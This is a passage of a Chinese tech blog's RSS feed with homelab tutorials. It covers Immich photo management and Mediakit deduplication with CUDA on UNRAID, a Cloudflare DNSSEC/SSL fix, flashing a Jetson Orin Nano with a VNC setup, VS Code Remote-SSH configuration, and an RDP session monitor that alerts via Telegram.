      - /mnt/user/nas/Photos/libraries:/usr/src/app/libraries
      - /mnt/user/nas/Photos/immich:/usr/src/app/upload
      - /etc/localtime:/etc/localtime:ro
    environment:
      - MACHINE_LEARNING_GPU_ACCELERATION=cuda
      - NVIDIA_VISIBLE_DEVICES=all
    ports:
      - &apos;2283:2283&apos;
    depends_on:
      - redis
      - database
    restart: always
    healthcheck:
      disable: false
    runtime: nvidia

  immich-machine-learning:
    container_name: immich_machine_learning
    # For hardware acceleration, add one of -[armnn, cuda, rocm, openvino, rknn] to the image tag.
    # Example tag: ${IMMICH_VERSION:-release}-cuda
    image: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: 1
              capabilities:
                - gpu
    volumes:
      - /mnt/user/nas/Photos/model-cache:/cache
    restart: always
    healthcheck:
      disable: false

  redis:
    container_name: immich_redis
    image: docker.io/valkey/valkey:8-bookworm@sha256:fec42f399876eb6faf9e008570597741c87ff7662a54185593e74b09ce83d177
    healthcheck:
      test: redis-cli ping || exit 1
    restart: always

  database:
    container_name: immich_postgres
    image: ghcr.io/immich-app/postgres:14-vectorchord0.4.3-pgvectors0.2.0
    environment:
      POSTGRES_PASSWORD: postgres
      POSTGRES_USER: postgres
      POSTGRES_DB: immich
      POSTGRES_INITDB_ARGS: &apos;--data-checksums&apos;
      # Uncomment the DB_STORAGE_TYPE: &apos;HDD&apos; var if your database isn&apos;t stored on SSDs
      DB_STORAGE_TYPE: &apos;HDD&apos;
    volumes:
      - /mnt/user/nas/Photos/postgres:/var/lib/postgresql/data
    restart: always
    ports:
      - &quot;5432:5432&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Immich-Mediakit容器&lt;/h2&gt;
&lt;p&gt;新建一个compose文件输入以下内容，重点修改以下几个点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/mnt/user/nas/都要修改为自己的路径&lt;/li&gt;
&lt;li&gt;- /mnt/user/nas/Photos/immich:/immich:ro是immich的主目录，有thumbs、library等文件夹&lt;/li&gt;
&lt;li&gt;不要修改qdrant的volumes配置，不然大概率会报错！详细见&lt;a href=&quot;https://github.com/RazgrizHsu/immich-mediakit/issues/17#issuecomment-3013169653&quot;&gt;Github issue&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;name: immich-mediakit
services:
  immich-mediakit:
    container_name: immich-mediakit
    hostname: immich-mediakit
    image: razgrizhsu/immich-mediakit:latest-cuda
    restart: unless-stopped
    ports:
      - 8086:8086
    volumes:
      - /mnt/user/nas/immich-mediakit:/app/data                  # mediakit data
      - /mnt/user/nas/immich-mediakit/cache:/root/.cache/torch/  # model cache
      - /mnt/user/nas/Photos/immich:/immich:ro
    env_file:
      - .env
    environment:
      - DASH_DEBUG=false
      - IMMICH_PATH=/immich
    # GPU Support (Linux + NVIDIA GPU only)
    # To enable NVIDIA GPU acceleration:
    # 1. Change image tag to razgrizhsu/immich-mediakit:latest-cuda
    # 2. Uncomment the deploy configuration below
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: 1
              capabilities: [gpu]

    depends_on:
      - qdrant
    healthcheck:
      test: sh -c &quot;curl -f http://localhost:8086/ || exit 1&quot;
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 40s
    networks:
      - immich-mediakit

  qdrant:
    container_name: immich-mediakit-qdrant
    image: qdrant/qdrant:dev
    restart: unless-stopped
    ports:
      - 6333:6333
    volumes:
      - qdrant:/qdrant/storage
      #- /mnt/user/nas/immich-mediakit/qdrant:/qdrant/storage
    networks:
      - immich-mediakit

networks:
  immich-mediakit:
    driver: bridge

volumes:
  qdrant:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;新建一个.env&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752568310-image-1024x538.webp&quot; alt=&quot;Immich-Mediakit容器 - UNRAID 使用 CUDA 加速 Immich 相似照片去重 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入以下内容，重点修改几个地方&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PSQL_HOST 输入immich主机的IP，不要输入127.0.0.1&lt;/li&gt;
&lt;li&gt;其余数据库相关的与自己immich配置对齐，未修改则保持默认即可&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# MediaKit settings
MKIT_PORT=8086
MKIT_DATA=./data


# Immich library connection (UPLOAD_LOCATION env variable of Immich if you&apos;re using Immich with docker compose)
# This folder should contain the &apos;thumbs&apos;, &apos;library&apos; subfolder from your Immich installation.
IMMICH_PATH=/immich


# PostgreSQL connection to Immich
PSQL_HOST=192.168.101.236
PSQL_PORT=5432
PSQL_DB=immich
PSQL_USER=postgres
PSQL_PASS=postgres

# For different-host setup:
# You must change PSQL_HOST to the IP address of your Immich server
#
# Example:
# Immich running on 192.168.0.100
# MediaKit running on 192.168.0.200
# Change localhost above to 192.168.0.100
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;使用Immich-Mediakit&lt;/h2&gt;
&lt;p&gt;compose up拉取并启动容器，访问http://[ip]:8086，等待系统检查全通过即可开始使用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752568655-image.webp&quot; alt=&quot;使用Immich-Mediakit - UNRAID 使用 CUDA 加速 Immich 相似照片去重 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一步 点击Fetch获取所有媒体内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752568736-image-1024x293.webp&quot; alt=&quot;使用Immich-Mediakit - UNRAID 使用 CUDA 加速 Immich 相似照片去重 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二步 在Vectors，Quality选择Preview，然后根据自己GPU性能可以选择Batch Size，最后执行Process Assets，开始对内容数据计算并标签&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752568774-image-1024x420.webp&quot; alt=&quot;使用Immich-Mediakit - UNRAID 使用 CUDA 加速 Immich 相似照片去重 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三步 可以使用默认配置进行Find Similar，亦或是启用Related Tree并关闭Multi Mode，使用相关树来检测并管理照片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752569288-image-1024x514.webp&quot; alt=&quot;使用Immich-Mediakit - UNRAID 使用 CUDA 加速 Immich 相似照片去重 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752569631-image-1024x514.webp&quot; alt=&quot;使用Immich-Mediakit - UNRAID 使用 CUDA 加速 Immich 相似照片去重 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如遇到500错误，如，请检查qdrant的volumes配置是否与本文一致，与硬盘格式有关，详细见&lt;a href=&quot;https://github.com/RazgrizHsu/immich-mediakit/issues/17#issuecomment-3013169653&quot;&gt;issue&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Error validating vector storage: Unexpected Response: 500 (Internal Server Error)
Raw response content:
b&apos;{&quot;status&quot;:{&quot;error&quot;:&quot;Service internal error: 1 of 1 read operations failed:\\n  Service internal error: task 3802 panicked with message \\&quot;called `Result::unwrap()` on an `Err` value: OutputTooSmall { ...&apos;
07:50:16.559|ERRO| Error saving vector for asset 902: Unexpected Response: 500 (Internal Server Error)
Raw response content:
b&apos;{&quot;status&quot;:{&quot;error&quot;:&quot;Service internal error: 1 of 1 read operations failed:\\n  Service internal error: task
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>UNRAID部署Immich并启用cuda加速</title><link>https://nvcc-v.com/2025/07/11/unraid-immich-cuda-setup/</link><guid isPermaLink="true">https://nvcc-v.com/2025/07/11/unraid-immich-cuda-setup/</guid><description>在 UNRAID 上通过 Docker Compose 部署 Immich，配置 NVIDIA GPU 并验证 CUDA 机器学习加速。</description><pubDate>Fri, 11 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;安装并配置docker-compose&lt;/h2&gt;
&lt;p&gt;如图所示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752211255-image-1024x442.webp&quot; alt=&quot;安装并配置docker-compose - UNRAID部署Immich并启用cuda加速 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建一个immich的compose项目&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752211624-image-1024x524.webp&quot; alt=&quot;安装并配置docker-compose - UNRAID部署Immich并启用cuda加速 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑compose文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752211665-image-1024x553.webp&quot; alt=&quot;安装并配置docker-compose - UNRAID部署Immich并启用cuda加速 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意以下几个点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;本文件只适用于有NVIDIA显卡的用户&lt;/li&gt;
&lt;li&gt;算力需要&amp;gt;5.3 &lt;a href=&quot;https://developer.nvidia.com/cuda-legacy-gpus&quot;&gt;cuda算力查询地址&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;驱动程序&amp;gt;= 545&lt;/li&gt;
&lt;li&gt;Data Base放在SSD上的用户请注释掉DB_STORAGE_TYPE: &apos;HDD&apos;&lt;/li&gt;
&lt;li&gt;修改所有/mnt/user/nas/Photos为自己适合的路径&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;name: immich

services:
  immich-server:
    container_name: immich_server
    image: ghcr.io/immich-app/immich-server:release
    # extends:
    #   file: hwaccel.transcoding.yml
    #   service: cpu # set to one of [nvenc, quicksync, rkmpp, vaapi, vaapi-wsl] for accelerated transcoding
    volumes:
      - /mnt/user/nas/Photos/libraries:/usr/src/app/libraries
      - /mnt/user/nas/Photos/immich:/usr/src/app/upload
      - /etc/localtime:/etc/localtime:ro
    environment:
      - MACHINE_LEARNING_GPU_ACCELERATION=cuda
      - NVIDIA_VISIBLE_DEVICES=all
    ports:
      - &apos;2283:2283&apos;
    depends_on:
      - redis
      - database
    restart: always
    healthcheck:
      disable: false
    runtime: nvidia

  immich-machine-learning:
    container_name: immich_machine_learning
    # For hardware acceleration, add one of -[armnn, cuda, rocm, openvino, rknn] to the image tag.
    # Example tag: ${IMMICH_VERSION:-release}-cuda
    image: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: 1
              capabilities:
                - gpu
    volumes:
      - /mnt/user/nas/Photos/model-cache:/cache
    restart: always
    healthcheck:
      disable: false

  redis:
    container_name: immich_redis
    image: docker.io/valkey/valkey:8-bookworm@sha256:fec42f399876eb6faf9e008570597741c87ff7662a54185593e74b09ce83d177
    healthcheck:
      test: redis-cli ping || exit 1
    restart: always

  database:
    container_name: immich_postgres
    image: ghcr.io/immich-app/postgres:14-vectorchord0.4.3-pgvectors0.2.0
    environment:
      POSTGRES_PASSWORD: postgres
      POSTGRES_USER: postgres
      POSTGRES_DB: immich
      POSTGRES_INITDB_ARGS: &apos;--data-checksums&apos;
      # Uncomment the DB_STORAGE_TYPE: &apos;HDD&apos; var if your database isn&apos;t stored on SSDs
      DB_STORAGE_TYPE: &apos;HDD&apos;
    volumes:
      - /mnt/user/nas/Photos/postgres:/var/lib/postgresql/data
    restart: always
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存后点击COMPOSE UP，等待镜像拉取并启动&lt;/p&gt;
&lt;h2&gt;检查GPU状态&lt;/h2&gt;
&lt;p&gt;进入immich_server和immich_machine_learning的控制台输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvidia-smi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出显卡信息代表容器调用GPU成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752212691-image.webp&quot; alt=&quot;检查GPU状态 - UNRAID部署Immich并启用cuda加速 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;访问并配置immich&lt;/h2&gt;
&lt;p&gt;浏览器进入http://[ip]:2283，以访问immich，初始化配置后，进入主面板，单击右上角头像-系统管理-设置-机器学习设置-智能搜索-CLIP 模型改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;XLM-Roberta-Large-Vit-B-16Plus
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752212440-image-1024x889.webp&quot; alt=&quot;访问并配置immich - UNRAID部署Immich并启用cuda加速 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入immich_machine_learning日志界面，如果识别日志包含CUDA字样表示启用成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752212502-e3bc0f54dc94ffe5a6a677b1bea49d80-1024x600.webp&quot; alt=&quot;访问并配置immich - UNRAID部署Immich并启用cuda加速 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;机器学习设置-视频转码设置-硬件加速-加速器API 选择 NVENC&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752212423-image-1024x304.webp&quot; alt=&quot;访问并配置immich - UNRAID部署Immich并启用cuda加速 操作截图 3&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>记一次CloudFlare小云朵代理网站SSL错误事故</title><link>https://nvcc-v.com/2025/07/10/cf-ssl-dnssec-error/</link><guid isPermaLink="true">https://nvcc-v.com/2025/07/10/cf-ssl-dnssec-error/</guid><description>复盘 Cloudflare 代理站点出现 SSL 错误的排查过程，定位 DNSSEC 算法配置问题并给出修复方法。</description><pubDate>Thu, 10 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;今天突然发现走CF CDN的网站出现了SSL问题，很疑惑，因为正常来说应该会到CF的error界面，而不是直接白屏报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752139287-89229fb38f3b7f0b9f5bbc8ac5040bc8.webp&quot; alt=&quot;记一次CloudFlare小云朵代理网站SSL错误事故 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先是排查了一下源服务器的证书，发现并没有过期，又换了CF的源服务器证书，还是不行，然后开始网上搜索方法，调整了好几个地方，还是不行。&lt;/p&gt;
&lt;p&gt;之后发现边缘证书一直卡“待验证”&lt;/p&gt;
&lt;p&gt;然后就突然想到DNSSEC，一查发现，果然是之前配置错了，阿里云把加密算法前面的序号删掉了....所以CF那边写的 算法 13 ，就是对应 ECDSA Curve P-256 with SHA-256 这个选项。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752139386-image.webp&quot; alt=&quot;记一次CloudFlare小云朵代理网站SSL错误事故 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;配置完后到 SSL/TLS - 边缘证书 - 禁用通用SSL证书，等一分钟再打开，然后一般来说就可以验证成功，网站也恢复正常访问。&lt;/p&gt;
</content:encoded></item><item><title>NVIDIA Jetson Orin Nano Super刷机教程-NVMe</title><link>https://nvcc-v.com/2025/07/02/nvidia-jetson-orin-nano-flash/</link><guid isPermaLink="true">https://nvcc-v.com/2025/07/02/nvidia-jetson-orin-nano-flash/</guid><description>通过 NVIDIA SDK Manager 为 Jetson Orin Nano Super 安装 NVMe 系统，并配置轻量桌面与 VNC 远程访问。</description><pubDate>Wed, 02 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;最近在给机器人做视觉+底盘控制，前前后后从Nano B1换到NX，现在又换了Nano Super，刷机刷了好多遍，故出篇文章用来记录刷机流程。&lt;/p&gt;
&lt;p&gt;我的Nano Super是亚博智能买的，并且似乎都不带emmc，所以我们只关注于刷进NVMe即可。&lt;/p&gt;
&lt;h2&gt;安装SDK Manager以及驱动&lt;/h2&gt;
&lt;p&gt;确保电脑上拥有Ubuntu20、22、24中某个版本的虚拟机，虚拟机进入&lt;a href=&quot;https://developer.nvidia.com/sdk-manager#installation_get_started&quot;&gt;SDK Manager | NVIDIA Developer&lt;/a&gt; 下载.deb Ubuntu版本安装包，进入软件后登录（开发者）账号即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751437680-image-1024x623.webp&quot; alt=&quot;安装SDK Manager以及驱动 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;短接FC REC和GND针脚，插电、开机、成功识别到设备，同时选择是否为开发版&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751437864-image-1024x580.webp&quot; alt=&quot;安装SDK Manager以及驱动 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一步：打三个勾即可，其余不要勾选，以及提供旧版JetPack对的Host主机要求&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751437924-image-1024x614.webp&quot; alt=&quot;安装SDK Manager以及驱动 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二步：只勾选Jetson Linux，暂时只安装裸镜像，软件包可以后续安装&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751438040-image-1024x614.webp&quot; alt=&quot;安装SDK Manager以及驱动 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入Host虚拟机密码以安装必要软件包，接下来就是漫长的下载+烧录过程&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751438103-image.webp&quot; alt=&quot;安装SDK Manager以及驱动 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;验证并构建完镜像后，进度条到50%时会弹出配置页面，配置账密、选择NVMe后Finish继续坐等刷写&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751439211-image-1024x603.webp&quot; alt=&quot;安装SDK Manager以及驱动 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果烧录到75%弹出“NVIDIA Linux for Tegra”无法连接到理想的主机”，修改USB兼容性为3.1即可解决&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751442489-image-1024x334.webp&quot; alt=&quot;安装SDK Manager以及驱动 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;烧录完成后拔掉跳线重启&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751443579-image-1024x644.webp&quot; alt=&quot;安装SDK Manager以及驱动 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 8&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;安装必要环境&lt;/h2&gt;
&lt;p&gt;重新进入SDK Manager，第一步保持不变，第二步勾选下面的三个勾&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751443719-image-1024x606.webp&quot; alt=&quot;安装必要环境 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;配置Nano信息用于建立连接以安装软件包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751443747-image-1024x593.webp&quot; alt=&quot;安装必要环境 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后等待检查通过后开始安装&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Congratulations&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;终于刷完了...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1751447209-image-1024x601.webp&quot; alt=&quot;安装必要环境 - NVIDIA Jetson Orin Nano Super刷机教程-NVMe 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;配置VNC&lt;/h2&gt;
&lt;p&gt;安装tigervnc和轻量化桌面并配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install tigervnc-standalone-server gnome-panel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入两遍密码后输入n即可&lt;/p&gt;
&lt;p&gt;在/home/ros/.vnc创建一个xstartup的文件，内容如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh

xsetroot -solid grey
autocutsel -fork

XAUTHORITY=$HOME/.Xauthority
export XAUTHORITY

unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
export XKL_XMODMAP_DISABLE=1
export XDG_CURRENT_DESKTOP=&quot;GNOME-Flashback:GNOME&quot;
export XDG_MENU_PREFIX=&quot;gnome-flashback-&quot;
export QT_STYLE_OVERRIDE=&quot;&quot;
export FONTCONFIG_PATH=/etc/fonts
export FONTCONFIG_FILE=/etc/fonts/fonts.conf


gnome-session --session=gnome-flashback-metacity --disable-acceleration-check
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在/etc/systemd/system/vncserver@.service创建systemctl配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=VNC Server
After=network.target

[Service]
Type=simple
User=ros
ExecStartPre=/bin/sh -c &apos;/usr/bin/vncserver -kill :%i &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 || :&apos;
ExecStart=/usr/bin/vncserver -geometry 1920x1080 -depth 24 -name vnc -localhost no :%i -fg
ExecStop=/usr/bin/vncserver -kill :%i

Restart=on-failure
RestartSec=10

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl daemon-reload
sudo systemctl enable vncserver@1.service
sudo systemctl start vncserver@1.service
sudo systemctl status vncserver@1.service
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装jtop&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install python3-pip
sudo pip3 install jetson-stats
sudo systemctl restart jtop.service
sudo jtop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更多玩法请见 &lt;a href=&quot;/linux/jetson/&quot;&gt;Jetson归档 - Shattered217のBlog&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>vscode基于ssh远程开发配置教程</title><link>https://nvcc-v.com/2025/06/25/vscode-remote-ssh-setup/</link><guid isPermaLink="true">https://nvcc-v.com/2025/06/25/vscode-remote-ssh-setup/</guid><description>配置 VS Code Remote-SSH 远程开发环境，涵盖 SSH 密钥、主机配置、连接测试和常用设置。</description><pubDate>Wed, 25 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言--为什么需要远程开发？&lt;/h2&gt;
&lt;p&gt;最近发现同学们开发树莓派、nano、nuc等微电脑时，都是另外连显示屏+键鼠的，亦或是VNC+ssh配合着用，但这绝不是最佳，VNC可能会因为网络波动导致卡顿，所以本次打算介绍vscode上的远程开发插件Remote-SSH，可以理解为在远端安装了vscode，本机电脑只是用作编辑代码和调试，解释器和插件等都是位于远端实现。让你可以在自己的Win上拥有绝佳的开发体验。&lt;/p&gt;
&lt;h2&gt;在Win上创建SSH密钥对&lt;/h2&gt;
&lt;p&gt;这是为了可以实现免密认证&lt;/p&gt;
&lt;p&gt;右键Windows徽标打开终端管理员后输入下面的指令（其中把邮箱改成自己常用的），然后一路回车即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh-keygen -t rsa -b 4096 -C &quot;your_email@example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/06/1750848147-image.webp&quot; alt=&quot;在Win上创建SSH密钥对 - vscode基于ssh远程开发配置教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/06/1750848616-image.webp&quot; alt=&quot;在Win上创建SSH密钥对 - vscode基于ssh远程开发配置教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;导入到Linux&lt;/h2&gt;
&lt;p&gt;通过ssh/ftp等，一切你能想到的 能够管理Linux文件的方法，在你的用户目录(例如我的是/home/Shattered)下新建一个.ssh的文件夹，然后将你Win中用户目录下.ssh文件夹的id_rsa.pub改名成authorized_keys放入Linux用户目录下的.ssh里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/06/1750848860-image-1024x467.webp&quot; alt=&quot;导入到Linux - vscode基于ssh远程开发配置教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后重启Linux即可实现密钥登录&lt;/p&gt;
&lt;p&gt;可以在 Win 终端输入下面的命令（替换成自己的用户名和ip）测试连接，如果连接失败则尝试搜索Linux开启密钥对登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh username@ip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/06/1750849002-image-1024x224.webp&quot; alt=&quot;导入到Linux - vscode基于ssh远程开发配置教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果提示权限错误可在Linux端执行以下命令，赋予文件正确的权限，防止权限太松&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod 700 ~/.ssh
chmod 644 ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;VScode实现Remote-SSH&lt;/h2&gt;
&lt;p&gt;首先安装Remote-SSH插件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/06/1750849191-image.webp&quot; alt=&quot;VScode实现Remote-SSH - vscode基于ssh远程开发配置教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入配置编辑，填入以下内容（记得删除注释 不然可能会出问题）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/06/1750849254-image-1024x364.webp&quot; alt=&quot;VScode实现Remote-SSH - vscode基于ssh远程开发配置教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Host Pi //自定义名称
    HostName 192.168.101.246  //替换为自己的ip
    User Shattered  //替换为自己的用户名
    PreferredAuthentications publickey
    IdentityFile ~/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意，所有的编译器/解释器，甚至包括VScode拓展都是在远程服务器上的，所以可能需要重新安装，然后就可以愉快Code了！&lt;/p&gt;
</content:encoded></item><item><title>Tailscale 实时监控 Windows RDP 会话</title><link>https://nvcc-v.com/2025/05/21/tailscale-rdp-monitor/</link><guid isPermaLink="true">https://nvcc-v.com/2025/05/21/tailscale-rdp-monitor/</guid><description>使用 Python pywin32 监听 Tailscale 网络中的 Windows RDP 连接与断开事件，并实时推送到 Telegram Bot。</description><pubDate>Wed, 21 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介&lt;/h2&gt;
&lt;p&gt;在日常运维、安全审计或远程支持场景中，我们常常会使用 Windows 的远程桌面功能（Remote Desktop Protocol，RDP）。但是，你是否遇到过这样的需求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;想知道是否有人正在连接你的 RDP？&lt;/li&gt;
&lt;li&gt;想实时监控 RDP 的连接和断开事件？&lt;/li&gt;
&lt;li&gt;希望将这些信息推送给自己，便于第一时间知晓？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;出于这样的动机，并且本人和伙伴是通过tailscale组网进行访问Windows，常规的检测难以精准实现，故开发了一个自用的轻量级 RDP 会话监控脚本 —— &lt;strong&gt;&lt;a href=&quot;https://github.com/Shattered217/RDP-Monitor/tree/main&quot;&gt;RDP-Monitor&lt;/a&gt;&lt;/strong&gt;。它通过Python的 &lt;code&gt;pywin32&lt;/code&gt; 库实现对远程桌面连接/断开事件的监听，并且实时推送至TG Bot。&lt;/p&gt;
&lt;p&gt;项目地址：&lt;a href=&quot;https://github.com/Shattered217/RDP-Monitor/tree/main&quot;&gt;RDP-Monitor/ at main · Shattered217/RDP-Monitor&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;使用教程&lt;/h2&gt;
&lt;p&gt;修改文件中的TG配置，BOT_TOKEN &amp;amp; CHAT_ID&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install -r requirements.txt
python monitor.py
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;效果&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/05/1747793079-image.webp&quot; alt=&quot;效果 - Tailscale 实时监控 Windows RDP 会话 操作截图&quot; /&gt;&lt;/p&gt;
